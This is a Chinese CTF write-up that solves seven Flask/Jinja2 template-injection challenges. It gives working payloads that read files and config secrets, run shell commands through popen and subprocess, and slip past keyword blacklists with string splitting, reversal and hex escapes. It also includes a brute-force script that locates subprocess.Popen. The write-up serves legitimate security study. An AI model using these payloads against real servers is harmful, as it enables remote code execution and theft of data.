Flask SSTI注入学习

竞赛平台:https://buuoj.cn/

1.[GYCTF2020]FlaskApp

第零步,Flask模板注入知识梳理:

1.通过使用魔法函数可以实现,在没有注册某个模块的条件下,调用模块的功能。

__class__  返回对象所属类型
__mro__    返回对象所属类、所继承的基类元组,方法在解析时按照元组的顺序解析
__base__   返回该对象所继承的基类,一般是object,如果不是需要使用上一个方法
// __base__和__mro__都是用来寻找基类的
__subclasses__   返回子类
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

例子(windows python 3.7):

''.__class__				
''.__class__.__mro__		(, )
''.__class__.__base__		
''.__class__.__mro__[1].__subclasses__() 	列出了所有子类
''.__class__.__base__.__subclasses__() 		和上面效果相同

其他例子(未知环境):

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() 	读取文件
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')						执行系统命令
如果函数已经被__init__了,还可以通过下面方法执行命令:
''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']

关于内建函数:

当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。内置的函数名字会放在内建名称空间中,初始的builtins模块提供内建名称空间到内建对象的映射。

__builtins__中,有像lenstr这样熟悉的函数。

python沙盒溢出的关键:从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。

参考链接:SSTI/沙盒逃逸详细总结

第一步,使Base64解密报错,具体报错如下:

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode()) #报错位置
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

函数获取text值直接解码,并将解码结果放到tmp中。如果waf函数检查发现tmp中存在注入行为,则会返回no no no !!;否则直接在模板上显示tmp。

因此,我们的目的是绕过waf函数实现注入。

第二步,读源码。

将下面的代码加密后输入解密框中(在报错提示中可以看到文件名为app.py):

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}

得到报错:

 from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config[&#39;SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True)
if waf(tmp) : 
flash("no no no !!") 
return redirect(url_for('decode')) 
res = render_template_string(tmp) 
flash( res ) 
return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") 

可以看到里面有waf函数的定义,可以看到被过滤的词语:

def waf(str): 
	black_list =[&#34;flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
	for x in black_list : 
		if x in str.lower() : 
			return 1 

第三步,找文件。

利用字符串拼接寻找目录:

{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

加密后输入解密框中,发现this_is_the_flag.txt:

 ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']

第四步,读取flag。

txt.galf_eht_si_siht是倒写字符串来绕过

{% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

或者使用下面的payload,执行popen命令读取文件:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eva'+'l' in b.keys() %}       {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

加密后输入解密框中,得到flag:flag{aa17e119-b692-4f87-962f-cf0b5201aeb3}

2.[WesternCTF2018]shrine

访问网址,直接得到源码:

import flask import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 
@app.route('/') 
def index(): 
    return open(__file__).read() 
@app.route('/shrine/') 
def shrine(shrine): 
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '') 
        blacklist = ['config', 'self'] 
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__': 
    app.run(debug=True)

输入数据经过safe_jinja的过滤,被jinja渲染。safe_jinja替换了左括号和右括号,如果s有左右大括号,里面又有config或者self,就会被整体替换成None。

为了获取例如current_app这样的全局变量信息,需要使用包含该变量的两个函数,url_forget_flashed_messages

注入{{url_for.__globals__}}或者get_flashed_messages.__globals__,可以得到... 'current_app': ...

注入{{url_for.__globals__['current_app'].config}}得到flag:flag{c9d4bc6f-a536-4f5f-b89c-dd9856d58381}

3.[CSCCTF 2019 Qual]FlaskLight

一开始打开题目页面,可以看到:

You searched for:
None
Here is your result
['CCC{Fl49_p@l5u}', 'CSC CTF 2019', 'Welcome to CTF Bois', 'CCC{Qmu_T3rtyPuuuuuu}', 'Tralala_trilili']

F12查看源代码,看到提示:



构造输入?search={{7*7}},看到页面返回49,构造?search={{7*'7'}},得到7777777,确定是jinja2模板。

访问?search={{config}},得到'SECRET_KEY': 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}',暗示flag在这个目录下。

需要编写代码,查看有哪些包含全局变量的函数:

python3脚本:

参考解题链接

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("

You searched for:<\/h2>\W+

(.*)<\/h3>", r.text) time.sleep(0.1) res = html.unescape(res[0]) print(str(i) + " | " + res) if "subprocess.Popen" in res: index = i break except: continue print("indexo of subprocess.Popen:" + str(index))

subprocess模块可以用来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。

从输出结果中可以看到index值为258,于是构造payload测试:

''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()

看到:

('bin\nboot\ndev\netc\nflasklight\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n', None)

接着构造:

''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()
看到:app.py coomme_geeeett_youur_flek

读flag:

''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()
flag{4f8bdc79-8954-494f-abb1-606b787271ac}

4.[Flask]SSTI 漏洞利用

vulhub的github地址

一打开页面,显示Hello guest

使用读源码payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}

页面显示:

Hello from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()

获取eval函数并执行任意python代码:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls /var/").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

可以利用漏洞

5.[RootersCTF2019]I_❤️_Flask

由于完全没有参数的提示,因此需要arjun工具利用传参进行爆破。

arjun工具

python3 arjun.py -u http://11c3a132-1bdb-4fa2-8f9a-a15a04e93389.node3.buuoj.cn/  -m GET -c 200

得到参数name

?name={{7*7}},显示49

6.[CISCN2019 总决赛 Day1 Web3]Flask Message Board

只有Author处可以被注入,注入{{config}}得到:

I1l|1i1|il|1lIIlI1l1|1l|lI1||1|1|I||IlI1

7.[pasecactf_2019]flask_ssti

查看网页源代码,可以看到js代码,是向后端发送POST请求,innerHTML会被前端直接显示:

function send(){
	let nickname = $('#nickname')[0].value;
	if(nickname.length > 0){
		$.post("/", {'nickname': nickname}, function(data){
			$('#msg')[0].innerHTML = '' + data + '';
			$('#error')[0].className = "shorten_error_display";
		});
	}
}

发现过滤._'

{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
//用这个去执行命令
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
//用这个去读取文件

这里读取app.py发现flag是经过加密的。然后加密函数在源码中。
然后会删掉flag。这里我比较懒。。直接读取/proc/self/fd/3。得到Flag

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

最终得到flag{9586d411-dd16-4593-955a-4b467a6a3858}

参考解题链接

你可能感兴趣的:(CTF,flask)